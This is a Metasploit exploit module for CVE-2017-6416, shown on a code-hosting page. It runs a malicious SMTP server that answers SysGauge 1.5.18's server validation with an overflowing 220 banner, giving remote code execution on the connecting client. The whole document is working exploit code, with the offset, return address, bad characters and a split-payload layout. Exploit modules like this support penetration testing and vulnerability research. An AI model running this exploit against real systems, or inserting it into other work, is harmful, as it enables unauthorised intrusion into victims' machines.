Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smtp/sysgauge_client_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6include Msf::Exploit::Remote::TcpServer78Rank = NormalRanking910def initialize()11super(12'Name' => 'SysGauge SMTP Validation Buffer Overflow',13'Description' => %q{14This module will setup an SMTP server expecting a connection from SysGauge 1.5.1815via its SMTP server validation. The module sends a malicious response along in the16220 service ready response and exploits the client, resulting in an unprivileged shell.17},18'Author' =>19[20'Chris Higgins', # msf Module -- @ch1gg1ns21'Peter Baris' # Initial discovery and PoC22],23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '2017-6416' ],27[ 'EDB', '41479' ],28],29'DefaultOptions' =>30{31'EXITFUNC' => 'thread'32},33'Payload' =>34{35'Space' => 306,36'BadChars' => "\x00\x0a\x0d\x20"37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows Universal',42{43'Offset' => 176,44'Ret' => 0x6527635E # call esp # QtGui4.dll45}46]47],48'Privileged' => false,49'DisclosureDate' => 'Feb 28 2017',50'DefaultTarget' => 051)52register_options(53[54OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),55])56end5758def on_client_connect(c)59# Note here that the payload must be split into two parts.60# The payload gets jumbled in the stack so we need to split61# and align to get it to execute correctly.62sploit = "220 "63sploit << rand_text(target['Offset'])64# Can only use the last part starting from 232 bytes in65sploit << payload.encoded[232..-1]66sploit << rand_text(2)67sploit << [target.ret].pack('V')68sploit << rand_text(12)69sploit << make_nops(8)70# And the first part up to 232 bytes71sploit << payload.encoded[0..231]72sploit << "ESMTP Sendmail \r\n"7374print_status("Client connected: " + c.peerhost)75print_status("Sending payload...")7677c.put(sploit)78end79end808182